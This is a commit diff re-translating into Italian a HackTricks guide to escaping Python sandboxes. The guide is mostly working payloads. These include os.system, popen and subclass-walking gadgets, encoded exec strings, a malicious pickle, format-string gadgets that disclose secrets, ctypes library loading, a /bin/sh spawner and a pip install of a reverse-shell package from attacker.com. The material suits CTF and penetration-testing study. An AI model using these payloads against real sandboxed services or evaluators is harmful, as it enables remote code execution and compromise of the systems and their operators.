Translated ['', 'src/generic-methodologies-and-resources/python/bypass-p

2025-10-10 18:36:50 +00:00 · 2025-08-28 12:39:40 +00:00 · 2025-08-28 12:39:40 +00:00 · f99adb8d0e
commit f99adb8d0e
parent b0906b057f
6 changed files with 402 additions and 402 deletions
--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
@ -2,11 +2,11 @@

 {{#include ../../../banners/hacktricks-training.md}}

-Questi sono alcuni trucchi per bypassare le protezioni sandbox di python ed eseguire comandi arbitrari.
+Questi sono alcuni trucchi per bypassare le protezioni del python sandbox ed eseguire comandi arbitrari.

 ## Librerie per l'esecuzione di comandi

-La prima cosa che devi sapere è se puoi eseguire codice direttamente con qualche libreria già importata, o se puoi importare una di queste librerie:
+La prima cosa da sapere è se puoi eseguire direttamente codice con qualche libreria già importata, oppure se puoi importare una di queste librerie:
 ```python
 os.system("ls")
 os.popen("ls").read()
@ -39,11 +39,11 @@ open('/var/www/html/input', 'w').write('123')
 execfile('/usr/lib/python2.7/os.py')
 system('ls')
 ```
-Ricorda che le funzioni _**open**_ e _**read**_ possono essere utili per **leggere file** all'interno della python sandbox e per **scrivere del codice** che potresti **eseguire** per effettuare un bypass della sandbox.
+Ricorda che le funzioni _**open**_ e _**read**_ possono essere utili per **leggere file** dentro la python sandbox e per **scrivere del codice** che potresti **eseguire** per poter **bypass** la sandbox.

-> [!CAUTION] > **Python2 input()** function permette di eseguire codice python prima che il programma si interrompa.
+> [!CAUTION] > **Python2 input()** function consente di eseguire codice python prima che il programma si arresti.

-Python cerca di **caricare le librerie dalla directory corrente prima** (il comando seguente stamperà da dove python carica i moduli): `python3 -c 'import sys; print(sys.path)'`
+Python cerca di **caricare le librerie prima dalla directory corrente** (il seguente comando stamperà da dove python carica i moduli): `python3 -c 'import sys; print(sys.path)'`

 ![](<../../../images/image (559).png>)

@ -52,8 +52,8 @@ Python cerca di **caricare le librerie dalla directory corrente prima** (il coma
 ### Pacchetti preinstallati

 Puoi trovare una **lista dei pacchetti preinstallati** qui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
-Nota che da un pickle puoi far sì che il python env **import arbitrary libraries** installate nel sistema.\
-Per esempio, il seguente pickle, quando caricato, importerà la libreria pip per utilizzarla:
+Nota che da un pickle puoi far sì che l'ambiente python **importi librerie arbitrarie** installate nel sistema.\
+Per esempio, il seguente pickle, quando caricato, importerà la libreria pip per usarla:
 ```python
 #Note that here we are importing the pip library so the pickle is created correctly
 #however, the victim doesn't even need to have the library installed to execute it
@ -66,32 +66,32 @@ return (pip.main,(["list"],))

 print(base64.b64encode(pickle.dumps(P(), protocol=0)))
 ```
-Per maggiori informazioni su come funziona pickle, consulta: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
+Per maggiori informazioni su come funziona pickle consulta questo: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)

-### Pacchetto pip
+### Pacchetto Pip

 Trucco condiviso da **@isHaacK**

-Se hai accesso a `pip` o a `pip.main()` puoi installare un pacchetto arbitrario e ottenere una reverse shell chiamando:
+Se hai accesso a `pip` o `pip.main()` puoi installare un pacchetto arbitrario e ottenere una reverse shell chiamando:
 ```bash
 pip install http://attacker.com/Rerverse.tar.gz
 pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
 ```
-Puoi scaricare il package per creare la reverse shell qui. Nota che, prima di usarlo dovresti **decomprimerlo, modificare il `setup.py`, e inserire il tuo IP per la reverse shell**:
+Puoi scaricare il pacchetto per creare la reverse shell qui. Nota che prima di usarlo dovresti **decomprimerlo, modificare il `setup.py` e inserire il tuo IP per la reverse shell**:

 {{#file}}
 Reverse.tar (1).gz
 {{#endfile}}

 > [!TIP]
-> This package is called `Reverse`. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave.
+> Questo pacchetto si chiama `Reverse`. Tuttavia, è stato appositamente creato in modo che quando esci dalla reverse shell il resto dell'installazione fallisca, così **non lascerai nessun pacchetto python extra installato sul server** quando te ne andrai.

 ## Eval-ing python code

 > [!WARNING]
-> Nota che `exec` permette stringhe multilinea e ";" , ma `eval` no (check walrus operator)
+> Nota che exec permette stringhe multilinea e ";", mentre eval no (controlla l'operatore walrus)

-Se alcuni caratteri sono proibiti puoi usare la rappresentazione **hex/octal/B64** per **bypass** la restrizione:
+Se certi caratteri sono proibiti puoi usare le rappresentazioni **hex/octal/B64** per **bypass** la restrizione:
 ```python
 exec("print('RCE'); __import__('os').system('ls')") #Using ";"
 exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
 exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
 ```
-### Altre librerie che permettono di eval codice python
+### Altre librerie che consentono di utilizzare eval su codice python
 ```python
 #Pandas
 import pandas as pd
@ -126,9 +126,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
 # Like:
 df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
 ```
-Vedi anche un reale sandboxed evaluator escape nei generatori di PDF:
+Vedi anche un real-world sandboxed evaluator escape nei generatori PDF:

- ReportLab/xhtml2pdf triple-bracket [[[...]]] valutazione delle espressioni → RCE (CVE-2023-33733). Abusa di rl_safe_eval per raggiungere function.__globals__ e os.system da attributi valutati (per esempio, colore del font) e restituisce un valore valido per mantenere stabile il rendering.
+- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Abusa di rl_safe_eval per raggiungere function.__globals__ e os.system da attributi valutati (per esempio, font color) e restituisce un valore valido per mantenere il rendering stabile.

 {{#ref}}
 reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -143,9 +143,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
 [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
 ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
 ```
-## Bypassare le protezioni tramite codifiche (UTF-7)
+## Bypassare le protezioni attraverso encoding (UTF-7)

-In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 viene usato per caricare ed eseguire codice python arbitrario all'interno di una apparente sandbox:
+In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 viene usato per caricare ed eseguire codice python arbitrario all'interno di un apparente sandbox:
 ```python
 assert b"+AAo-".decode("utf_7") == "\n"

@ -160,7 +160,7 @@ return x

 ## Esecuzione Python senza chiamate

-Se ti trovi all'interno di una python jail che **non ti permette di effettuare chiamate**, ci sono comunque modi per **eseguire funzioni arbitrarie, codice** e **comandi**.
+Se sei all'interno di una python jail che **non ti permette di effettuare chiamate**, ci sono comunque alcuni modi per **eseguire funzioni arbitrarie, codice** e **comandi**.

 ### RCE con [decorators](https://docs.python.org/3/glossary.html#term-decorator)
 ```python
@ -186,9 +186,9 @@ class _:pass
 ```
 ### RCE creating objects and overloading

-Se puoi **declare a class** e **create an object** di quella classe, puoi **write/overwrite different methods** che possono essere **triggered** senza doverle chiamare direttamente.
+Se puoi **declare a class** e **create an object** di quella class puoi **write/overwrite different methods** che possono essere **triggered** **without** **needing to call them directly**.

-#### RCE with custom classes
+#### RCE con custom classes

 Puoi modificare alcuni **class methods** (_by overwriting existing class methods or creating a new class_) per farli **execute arbitrary code** quando vengono **triggered** senza chiamarli direttamente.
 ```python
@ -240,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")')
 __ior__ (k |= 'import os; os.system("sh")')
 __ixor__ (k ^= 'import os; os.system("sh")')
 ```
-#### Creare oggetti con [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
+#### Creazione di oggetti con [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)

-La cosa fondamentale che le metaclasses ci permettono di fare è **creare un'istanza di una class, senza chiamare direttamente il constructor**, creando una nuova class con la target class come metaclass.
+La cosa fondamentale che le metaclasses ci permettono di fare è **creare un'istanza di una classe senza chiamare direttamente il constructor**, creando una nuova classe che abbia la classe target come metaclass.
 ```python
 # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
 # This will define the members of the "subclass"
@ -257,9 +257,9 @@ Sub['import os; os.system("sh")']

 ## You can also use the tricks from the previous section to get RCE with this object
 ```
-#### Creare oggetti con le eccezioni
+#### Creazione di oggetti con exceptions

-Quando un'**eccezione viene sollevata** un oggetto di **Exception** viene **creato** senza che tu debba chiamare il costruttore direttamente (un trucco di [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
+Quando un'**exception viene attivata** viene **creato** un oggetto della **Exception** senza che tu debba chiamare direttamente il costruttore (un trucco di [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
 ```python
 class RCE(Exception):
 def __init__(self):
@ -301,7 +301,7 @@ __iadd__ = eval
 __builtins__.__import__ = X
 {}[1337]
 ```
-### Leggi file con builtins help & license
+### Leggi il file con builtins help & license
 ```python
 __builtins__.__dict__["license"]._Printer__filenames=["flag"]
 a = __builtins__.help
@ -315,17 +315,17 @@ pass
 - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
 - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)

-Se puoi accedere all'oggetto **`__builtins__`** puoi importare librerie (nota che qui puoi anche usare altre rappresentazioni stringa mostrate nell'ultima sezione):
+Se puoi accedere all'oggetto **`__builtins__`** puoi importare librerie (nota che puoi anche usare qui altre rappresentazioni stringa mostrate nella sezione finale):
 ```python
 __builtins__.__import__("os").system("ls")
 __builtins__.__dict__['__import__']("os").system("ls")
 ```
-### Senza Builtins
+### No Builtins

-Quando non hai `__builtins__` non sarai in grado di importare nulla né di leggere o scrivere file poiché **tutte le funzioni globali** (come `open`, `import`, `print`...) **non sono caricate**.\
-Tuttavia, **di default python importa molti moduli in memoria**. Questi moduli possono sembrare benigni, ma alcuni di essi stanno **anche importando funzionalità pericolose** al loro interno che possono essere sfruttate per ottenere anche **arbitrary code execution**.
+Quando non hai `__builtins__` non sarai in grado di importare nulla né tantomeno leggere o scrivere file poiché **tutte le funzioni globali** (come `open`, `import`, `print`...) **non sono caricate**.\
+Tuttavia, **per default python importa molti moduli in memoria**. Questi moduli possono sembrare benigni, ma alcuni di essi stanno **anche importando funzionalità pericolose** al loro interno che possono essere accessate per ottenere anche **arbitrary code execution**.

-Negli esempi seguenti puoi osservare come **abusare** alcuni di questi "**benign**" moduli caricati per **accedere** a **funzionalità** **pericolose** al loro interno.
+Nei seguenti esempi puoi osservare come **abusare** di alcuni di questi moduli "**benigni**" caricati per **accedere** a **funzionalità** **pericolose** al loro interno.

 **Python2**
 ```python
@ -367,7 +367,7 @@ get_flag.__globals__['__builtins__']
 # Get builtins from loaded classes
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
 ```
-[**Below there is a bigger function**](#recursive-search-of-builtins-globals) per trovare decine/**centinaia** di **posti** dove puoi trovare i **builtins**.
+[**Below there is a bigger function**](#recursive-search-of-builtins-globals) per trovare decine/**centinaia** di **luoghi** dove puoi trovare i **builtins**.

 #### Python2 and Python3
 ```python
@ -383,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
 # There are lots of other payloads that can be abused to execute commands
 # See them below
 ```
-## Globals and locals
+## Globals e locals

-Controllare le **`globals`** e le **`locals`** è un buon modo per sapere a cosa puoi accedere.
+Controllare le **`globals`** e **`locals`** è un buon modo per sapere a cosa puoi accedere.
 ```python
 >>> globals()
 {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -409,15 +409,15 @@ class_obj.__init__.__globals__
 [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
 [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
 ```
-[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
+[**Below there is a bigger function**](#recursive-search-of-builtins-globals) per trovare decine/**centinaia** di **luoghi** dove puoi trovare le **globals**.

-## Scoprire l'esecuzione arbitraria
+## Scoprire Arbitrary Execution

 Qui voglio spiegare come scoprire facilmente **funzionalità più pericolose caricate** e proporre exploit più affidabili.

-#### Accesso alle subclasses con bypasses
+#### Accesso a subclasses con bypasses

-Una delle parti più sensibili di questa tecnica è poter **accedere alle subclasses di base**. Negli esempi precedenti questo è stato fatto usando `''.__class__.__base__.__subclasses__()` ma ci sono **altri modi possibili**:
+Una delle parti più sensibili di questa tecnica è poter **accedere alle subclasses base**. Nei precedenti esempi questo è stato fatto usando `''.__class__.__base__.__subclasses__()` ma ci sono **altre possibili modalità**:
 ```python
 #You can access the base from mostly anywhere (in regular conditions)
 "".__class__.__base__.__subclasses__()
@ -445,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__()
 (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
 (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
 ```
-### Individuare librerie pericolose caricate
+### Trovare librerie pericolose caricate

-Ad esempio, sapendo che con la libreria **`sys`** è possibile **importare librerie arbitrarie**, puoi cercare tutti i **moduli caricati che hanno importato `sys` al loro interno**:
+Ad esempio, sapendo che con la libreria **`sys`** è possibile **importare librerie arbitrarie**, puoi cercare tutti i **moduli caricati che hanno importato sys al loro interno**:
 ```python
 [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
 ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
 ```
-Ce ne sono molti, e **ce ne serve solo uno** per eseguire comandi:
+Ce ne sono molte, e **ne serve solo una** per eseguire comandi:
 ```python
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
 ```
-Possiamo fare la stessa cosa con **altre librerie** che sappiamo possono essere usate per **eseguire comandi**:
+Possiamo fare la stessa cosa con **altre librerie** che sappiamo possano essere usate per **eseguire comandi**:
 ```python
 #os
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -491,7 +491,7 @@ Possiamo fare la stessa cosa con **altre librerie** che sappiamo possono essere
 #pdb
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
 ```
-Inoltre, potremmo anche cercare quali modules stanno caricando malicious libraries:
+Inoltre, potremmo anche cercare quali modules are loading malicious libraries:
 ```python
 bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 for b in bad_libraries_names:
@ -510,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
 pdb:
 """
 ```
-Inoltre, se pensi che **altre librerie** possano essere in grado di **invocare funzioni per eseguire comandi**, possiamo anche **filtrare per nomi di funzioni** all'interno delle possibili librerie:
+Inoltre, se pensi che **altre librerie** possano essere in grado di **invocare funzioni per eseguire comandi**, possiamo anche **filtrare per nomi di funzioni** all'interno delle librerie potenziali:
 ```python
 bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -546,7 +546,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
 ## Ricerca ricorsiva di Builtins, Globals...

 > [!WARNING]
-> Questo è semplicemente **fantastico**. Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altro** usa semplicemente questo script per **trovare ricorsivamente i posti in cui puoi reperire quell'oggetto.**
+> Questo è semplicemente **fantastico**. Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altra cosa** usa semplicemente questo script per **trovare ricorsivamente i posti dove puoi trovare quell'oggetto.**
 ```python
 import os, sys # Import these to find more gadgets

@ -671,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-

 ## Python Format String

-Se invii una **string** a python che verrà **formatted**, puoi usare `{}` per accedere alle **python internal information.** Puoi usare gli esempi precedenti per accedere a globals o builtins, per esempio.
+Se **mandi** una **stringa** a python che verrà **formattata**, puoi usare `{}` per accedere alle informazioni interne di python. Puoi usare gli esempi precedenti per accedere a globals o builtins per esempio.
 ```python
 # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
 CONFIG = {
@ -691,11 +691,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
 get_name_for_avatar(st, people_obj = people)
 ```
-Nota come puoi **accedere agli attributi** in modo normale con un **punto** come `people_obj.__init__` e l'**elemento di dict** con le **parentesi quadre** senza virgolette `__globals__[CONFIG]`
+Nota come puoi **accedere agli attributi** in modo normale con un **punto** come `people_obj.__init__` e **elemento del dict** con **parentesi** senza virgolette `__globals__[CONFIG]`

-Nota inoltre che puoi usare `.__dict__` per enumerare gli elementi di un oggetto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
+Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`

-Altre caratteristiche interessanti delle format string sono la possibilità di **eseguire** le **funzioni** **`str`**, **`repr`** e **`ascii`** sull'oggetto indicato aggiungendo rispettivamente **`!s`**, **`!r`**, **`!a`**:
+Alcune altre caratteristiche interessanti delle format strings sono la possibilità di **eseguire** le **funzioni** **`str`**, **`repr`** e **`ascii`** nell'oggetto indicato aggiungendo **`!s`**, **`!r`**, **`!a`** rispettivamente:
 ```python
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
 get_name_for_avatar(st, people_obj = people)
@ -711,17 +711,17 @@ return 'HAL 9000'
 '{:open-the-pod-bay-doors}'.format(HAL9000())
 #I'm afraid I can't do that.
 ```
-**Altri esempi** su **format** **string** possono essere trovati su [**https://pyformat.info/**](https://pyformat.info)
+**Altri esempi** su **format** **string** si trovano su [**https://pyformat.info/**](https://pyformat.info)

 > [!CAUTION]
-> Controlla anche la pagina seguente per gadgets che leggeranno **informazioni sensibili dagli oggetti interni di Python**:
+> Controlla anche la seguente pagina per gadget che **leggono informazioni sensibili dagli oggetti interni di Python**:


 {{#ref}}
 ../python-internal-read-gadgets.md
 {{#endref}}

-### Payloads di divulgazione di informazioni sensibili
+### Payloads per la divulgazione di informazioni sensibili
 ```python
 {whoami.__class__.__dict__}
 {whoami.__globals__[os].__dict__}
@ -741,18 +741,18 @@ str(x) # Out: clueless

 Da [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`

-### From format to RCE loading libraries
+### Dal format a RCE: caricamento di librerie

-According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
+Secondo il [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) è possibile caricare librerie arbitrarie dal disco abusando della format string vulnerability in python.

-Come promemoria, ogni volta che un'azione viene eseguita in python viene chiamata una funzione. Per esempio `2*3` eseguirà **`(2).mul(3)`** oppure **`{'a':'b'}['a']`** sarà **`{'a':'b'}.__getitem__('a')`**.
+Come promemoria, ogni volta che viene eseguita un'azione in python viene chiamata una funzione. Per esempio `2*3` eseguirà **`(2).mul(3)`** oppure **`{'a':'b'}['a']`** sarà **`{'a':'b'}.__getitem__('a')`**.

 Ne trovi altri nella sezione [**Python execution without calls**](#python-execution-without-calls).

-Una python format string vuln non permette di eseguire funzioni (non permette l'uso delle parentesi), quindi non è possibile ottenere RCE come `'{0.system("/bin/sh")}'.format(os)`.\
-Tuttavia, è possibile usare `[]`. Quindi, se una libreria python comune ha un metodo **`__getitem__`** o **`__getattr__`** che esegue codice arbitrario, è possibile abusarne per ottenere RCE.
+Una python format string vuln non permette di eseguire funzioni (non permette di usare le parentesi), quindi non è possibile ottenere RCE come `'{0.system("/bin/sh")}'.format(os)`.\
+Tuttavia, è possibile usare `[]`. Pertanto, se una libreria python comune ha un metodo **`__getitem__`** o **`__getattr__`** che esegue codice arbitrario, è possibile abusarne per ottenere RCE.

-Cercando un gadget del genere in python, il writeup propone questa [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Qui ha trovato questo [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
+Cercando un gadget del genere in python, il writeup propone questa [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Dove ha trovato questo [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
 ```python
 class LibraryLoader(object):
 def __init__(self, dlltype):
@ -774,20 +774,20 @@ return getattr(self, name)
 cdll = LibraryLoader(CDLL)
 pydll = LibraryLoader(PyDLL)
 ```
-Questo gadget permette di **caricare una libreria dal disco**. Pertanto è necessario, in qualche modo, **scrivere o uploadare la libreria da caricare**, compilata correttamente, sul server attaccato.
+Questo gadget permette di **load a library from disk**. Pertanto è necessario, in qualche modo, **write or upload the library to load** correttamente compilata sul server attaccato.
 ```python
 '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
 ```
-La challenge sfrutta in realtà un'altra vulnerabilità nel server che consente di creare file arbitrari sul disco del server.
+La challenge sfrutta in realtà un'altra vulnerabilità nel server che permette di creare file arbitrari sul disco del server.

-## Analisi di Python Objects
+## Analisi degli oggetti Python

 > [!TIP]
-> Se vuoi **imparare** in profondità su **python bytecode** leggi questo **fantastico** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
+> Se vuoi **imparare** in profondità il **python bytecode** leggi questo **ottimo** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)

-In alcuni CTFs potresti ricevere il nome di una **custom function where the flag** che contiene la flag e devi vedere gli **internals** della **function** per estrarla.
+In alcuni CTF potresti ricevere il nome di una **custom function where the flag** e devi vedere gli **internals** della **function** per estrarla.

-Questa è la function da ispezionare:
+Questa è la funzione da ispezionare:
 ```python
 def get_flag(some_input):
 var1=1
@ -807,7 +807,7 @@ dir(get_flag) #Get info tof the function
 ```
 #### globals

-`__globals__` and `func_globals`(Stesso) Ottiene l'ambiente globale. Nell'esempio puoi vedere alcuni moduli importati, alcune variabili globali e il loro contenuto dichiarato:
+`__globals__` and `func_globals`(Stesso) Ottiene l'ambiente globale. Nell'esempio puoi vedere alcuni moduli importati, alcune variabili globali e il loro contenuto dichiarati:
 ```python
 get_flag.func_globals
 get_flag.__globals__
@ -818,7 +818,7 @@ CustomClassObject.__class__.__init__.__globals__
 ```
 [**See here more places to obtain globals**](#globals-and-locals)

-### **Accessing the function code**
+### **Accesso al function code**

 **`__code__`** and `func_code`: Puoi **accedere** a questo **attributo** della funzione per **ottenere il code object** della funzione.
 ```python
@ -908,7 +908,7 @@ dis.dis(get_flag)
 44 LOAD_CONST               0 (None)
 47 RETURN_VALUE
 ```
-Nota che **se non puoi importare `dis` nella python sandbox** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemble**arlo localmente. Non vedrai il contenuto delle variabili caricate (`LOAD_CONST`), ma puoi indovinarle da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile caricata.
